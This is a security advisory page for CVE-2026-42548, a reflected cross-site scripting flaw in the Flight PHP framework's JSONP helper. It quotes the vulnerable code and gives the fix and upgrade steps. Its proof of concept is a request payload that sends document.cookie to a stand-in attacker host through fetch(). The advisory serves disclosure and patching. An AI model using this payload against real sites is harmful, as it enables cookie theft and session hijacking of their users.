Loading...
Skip to main content

CVE-2026-42548 — Vulnerability in flightphp/core — CVE Details

HIGH

Flight has reflected XSS through an unvalidated JSONP callback in Flight::jsonp()

Published May 6, 2026Updated May 14, 2026Source: osv

Summary

### Summary `Flight::jsonp()` concatenates the `?jsonp=` query parameter directly into an `application/javascript` response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting. ### Affected code `flight/Engine.php` (≈ lines 1000-1013): ```php $callback = $this->request()->query[$param]; $this->response() ->status($code) ->header('Content-Type', 'application/javascript; charset=' . $charset) ->write($callback . '(' . $json . ');'); ``` No regex or identifier validation is performed before the callback is written. ### Proof of concept Given any route that calls `Flight::jsonp($data)`: ``` GET /api?jsonp=;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);// ``` Reproduced response (`Content-Type: application/javascript`): ``` ;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//({"ok":true,"msg":"hello"}); ``` When the vulnerable endpoint is loaded via `<script src="https://victim.tld/api?jsonp=…">` on a page controlled by the attacker, the injected JavaScript executes in the `victim.tld` origin whenever that page is embedded or visited in a same-origin context — cookie theft and session hijack follow. ### Impact - Reflected XSS in any application calling `Flight::jsonp()`. - Cookie theft / session hijack when JSONP endpoints are referenced from same-origin pages. - Exfiltration of authenticated API responses. ### Patch (fixed in `3.18.1`, commit `b8dd23a`) `_jsonp()` now validates the callback name against `^[A-Za-z_$][\w$.]{0,127}$` before emitting it. An empty callback (no `jsonp` parameter) still behaves as before. ### Credit Discovered by **@Rootingg**.

Advisory Timeline

  • First published May 6, 2026 (159 days ago).
  • Last revised May 14, 2026 — 8 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Composer
Update flightphp/core to 3.18.1 or later
composer require "flightphp/core:^3.18.1"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: packagist (1).

PackageEcosystemAffectedFixed In
flightphp/core
packagist
v1.0, v1.1, v1.1.10, v1.1.5 (+63 more)3.18.1

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-79
    Cross-site Scripting (XSS)MITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.3 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
P
Scope
—
Confidentiality
—
Integrity
—
Availability
—

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N

Frequently Asked Questions

What is CVE-2026-42548?
Flight has reflected XSS through an unvalidated JSONP callback in Flight::jsonp() This vulnerability has been assigned a severity rating of HIGH (CVSS score: 9.3/10).
How do I check if my project is affected by CVE-2026-42548?
CVE-2026-42548 affects flightphp/core. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-42548 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.3

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-fcx8-ph5r-mxr4

Related CVEs

  • CVE-2026-65954
    HIGH

    PHPCSUtils: Remote code execution via eval() in AbstractArrayDeclarationSniff::getActualArrayKey()

  • CVE-2026-61825
    HIGH

    code16/sharp has a stored XSS via data-html-content Sanitizer Bypass

  • CVE-2026-42550
    HIGH

    Flight vulnerable to SQL Injection via unvalidated identifiers in SimplePdo::insert / update / delete

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies